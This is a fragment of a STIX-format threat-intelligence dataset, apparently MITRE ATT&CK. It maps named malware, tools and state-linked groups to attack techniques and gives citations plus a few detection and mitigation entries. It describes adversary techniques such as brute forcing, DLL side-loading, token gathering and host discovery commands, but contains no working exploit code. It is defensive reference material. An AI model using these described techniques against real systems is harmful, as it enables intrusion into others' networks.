2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baedd4b3-1fc9-4056-a282-322496a3cceb","type":"relationship","created":"2020-02-10T19:49:46.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-10T19:49:46.844Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5dd0d66-99f1-4efd-b0f9-bf9f9118ff16","type":"relationship","created":"2020-06-10T18:36:54.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Sandworm Feb 2020","url":"https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory","description":"NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."},{"source_name":"UK NCSC Olympic Attacks October 2020","url":"https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games","description":"UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020."},{"source_name":"Secureworks IRON VIKING ","url":"https://www.secureworks.com/research/threat-profiles/iron-viking","description":"Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020."},{"source_name":"Trend Micro Cyclops Blink March 2022","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022."}],"modified":"2022-03-17T15:07:01.055Z","description":"(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)(Citation: Secureworks IRON VIKING )(Citation: Trend Micro Cyclops Blink March 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abeb8fca-e470-4119-a07f-a6ec2f4b4667","type":"relationship","created":"2021-08-04T19:47:11.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. 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Retrieved June 14, 2019."}],"modified":"2020-06-29T02:52:31.770Z","description":"[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover active local network connections using the <code>netstat -an</code>, <code>net use</code>, <code>net file</code>, and <code>net session</code> commands.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also enumerated the IPv4 TCP connection table via the <code>GetTcpTable2</code> API call.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74499e24-ecca-46bb-87fb-e8beb25f1c11","type":"relationship","created":"2019-04-19T15:30:36.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. 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Retrieved January 28, 2021."}],"modified":"2021-05-04T19:28:12.935Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606)’s <code>infpub.dat</code> file uses NTLM login credentials to brute force Windows machines.(Citation: Secure List Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63b477c5-b88b-469d-8b2a-bc30507de54f","type":"relationship","created":"2020-07-17T15:48:51.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). 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Retrieved December 17, 2020."},{"source_name":"DOJ APT10 Dec 2018","url":"https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion","description":"United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."},{"source_name":"District Court of NY APT10 Indictment December 2018","url":"https://www.justice.gov/opa/page/file/1122671/download","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. 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Retrieved May 6, 2020."}],"modified":"2020-07-07T12:35:12.068Z","description":"[Attor](https://attack.mitre.org/software/S0438) can set attributes of log files and directories to HIDDEN, SYSTEM, ARCHIVE, or a combination of those.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--408db284-4c7a-4ad4-8399-90a8102b4bfa","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). 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(2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","source_name":"Securelist Octopus Oct 2018"},{"source_name":"Security Affairs DustSquad Oct 2018","url":"https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html","description":"Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021."},{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:09:00.668Z","description":"[Octopus](https://attack.mitre.org/software/S0340) can capture screenshots of the victims’ machine.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4125c2bb-d269-4417-9160-2d24b7566896","type":"relationship","created":"2021-01-12T17:25:04.760Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye TRITON 2017","url":"https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html","description":"Johnson, B, et. al. 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Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.459Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to list the names of all open windows on the infected host.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--598cdcc9-ba53-41dc-8d19-8486d9945ef2","created":"2022-04-16T17:48:16.524Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor module loads by the Terminal Services process (ex: <code>svchost.exe -k termsvcs</code>) for unexpected DLLs (the default is <code>%SystemRoot%\\System32\\termsrv.dll</code>, though an adversary could also use [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005) to potentially conceal a malicious payload).","modified":"2022-04-16T17:48:44.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7447ce8c-6c1a-497e-86d5-1adf960e23a3","type":"relationship","created":"2019-03-11T17:18:27.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/EmpireProject/Empire","description":"Schroeder, W., Warner, J., Nelson, M. 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(2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:38.818Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can inject content into lsass.exe to load a module.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7e456b1-ed5e-48f0-be6e-df3e7d6b4044","type":"relationship","created":"2020-11-16T19:26:58.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-20T16:15:38.463Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) has attempted to brute force TCP ports 135 (RPC) and 1433 (MSSQL) with the default username or list of usernames and    passwords.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4aec6a5-2c11-45a2-8c79-8cccf85179cb","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Umbreon Trend Micro","description":"Fernando Mercês. (2016, September 5). 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Retrieved March 5, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"}],"modified":"2020-03-17T02:46:29.289Z","description":"[Umbreon](https://attack.mitre.org/software/S0221) provides access to the system via SSH or any other protocol that uses PAM to authenticate.(Citation: Umbreon Trend Micro)","relationship_type":"uses","source_ref":"malware--3d8e547d-9456-4f32-a895-dc86134e282f","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01ebd689-8233-409a-a12d-eafb2546f665","type":"relationship","created":"2020-06-02T18:46:58.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-15T15:17:10.123Z","description":"[SYSCON](https://attack.mitre.org/software/S0464) has the ability to use [Systeminfo](https://attack.mitre.org/software/S0096) to identify system information.(Citation: Unit 42 CARROTBAT January 2020)","relationship_type":"uses","source_ref":"malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5706e1a-33a9-4404-9ef8-c8aa428363ec","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"},{"url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","source_name":"Microsoft SIR Vol 19"}],"modified":"2019-12-20T14:26:01.131Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used CVE-2015-4902 to bypass security features.(Citation: Bitdefender APT28 Dec 2015)(Citation: Microsoft SIR Vol 19)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef407819-f7e3-477c-8586-42ba108e5786","type":"relationship","created":"2020-09-30T14:52:08.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."}],"modified":"2020-09-30T14:52:08.973Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can use junk data in the Base64 string for additional obfuscation.(Citation: CISA WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b967933-da99-40a4-9bd5-e8238e8d46c3","type":"relationship","created":"2019-09-09T17:10:57.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.","url":"https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/","source_name":"Carbon Black Shlayer Feb 2019"}],"modified":"2019-09-12T15:09:10.708Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) executes a .command script from a hidden directory in a mounted DMG.(Citation: Carbon Black Shlayer Feb 2019)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5728c4d-d404-44e8-9e28-3411942c5234","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-16T23:56:46.385Z","description":"[FLASHFLOOD](https://attack.mitre.org/software/S0036) stages data it copies from the local system or removable drives in the \"%WINDIR%\\$NtUninstallKB885884$\\\" directory.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6bff324f-74fc-48a3-b0aa-7e66e5500f2a","type":"relationship","created":"2019-07-17T21:50:17.087Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings","description":"Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.","source_name":"Microsoft W32Time May 2017"}],"modified":"2020-01-24T16:48:51.338Z","description":"Consider using Group Policy to configure and block modifications to W32Time parameters in the Registry. (Citation: Microsoft W32Time May 2017)","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba84c2c2-e5bf-432e-9827-6d622490ba2d","type":"relationship","created":"2020-03-17T14:46:40.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2020-03-17T14:46:40.015Z","description":"[Machete](https://attack.mitre.org/groups/G0095) has has relied on users opening malicious links delivered through spearphishing to execute malware.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)","relationship_type":"uses","source_ref":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c13ac561-878f-4119-b5b1-39994f7c25df","created":"2022-02-08T16:11:38.626Z","x_mitre_version":"1.0","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) gathers Kubernetes service account tokens using a variety of techniques.(Citation: Peirates GitHub)","modified":"2022-04-14T20:56:39.824Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60bab055-6927-4240-8716-6218dc131aa9","type":"relationship","created":"2019-01-30T19:18:20.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro MacOS April 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/","description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018."}],"modified":"2020-06-23T20:11:11.926Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses Word macros for execution.(Citation: TrendMicro MacOS April 2018)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a88636a-3ac1-4068-91df-82c51fa97086","type":"relationship","created":"2021-06-18T15:26:55.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). 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Retrieved November 30, 2020."}],"modified":"2020-11-30T19:59:13.956Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) defaced approximately 15,000 websites belonging to Georgian government, non-government, and private sector organizations in 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e81f24e-6f72-44eb-9f19-2a3e7dca14ad","type":"relationship","created":"2020-06-02T15:39:14.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT November 2018","url":"https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/","description":"Grunzweig, J. and Wilhoit, K. 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Retrieved August 4, 2021."}],"modified":"2021-08-04T13:54:53.510Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) can use hidden directories and files to hide malicious executables.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99c0cda4-91b1-4845-9891-9a4b89c128f9","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html","description":"Chen, X., Scott, M., Caselden, D.. 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Administrators may also block end-user consent through administrative portals, such as the Azure Portal, disabling users from authorizing third-party apps through OAuth and forcing administrative consent.(Citation: Microsoft Azure AD Admin Consent)","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b1fb532-84e3-4f77-962c-038c798d239e","type":"relationship","created":"2019-06-28T14:34:59.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. 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Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:28.779Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used DLL side-loading to covertly load [PoisonIvy](https://attack.mitre.org/software/S0012) into memory on the victim machine.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75db2ffc-f33f-4735-a3eb-139d959b0b50","type":"relationship","created":"2021-10-08T15:22:00.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. 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Retrieved November 13, 2020."}],"modified":"2020-11-13T20:23:31.136Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can collect the computer name and OS version from a compromised host.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88a31637-0a37-456c-ad6e-c7011a430641","type":"relationship","created":"2019-02-05T17:56:55.550Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Netscout Stolen Pencil Dec 2018","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/","description":"ASERT team. (2018, December 5). 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Retrieved March 2, 2021."}],"modified":"2021-10-13T21:54:51.738Z","description":"[EKANS](https://attack.mitre.org/software/S0605) uses encoded strings in its process kill list.(Citation: FireEye Ransomware Feb 2020) 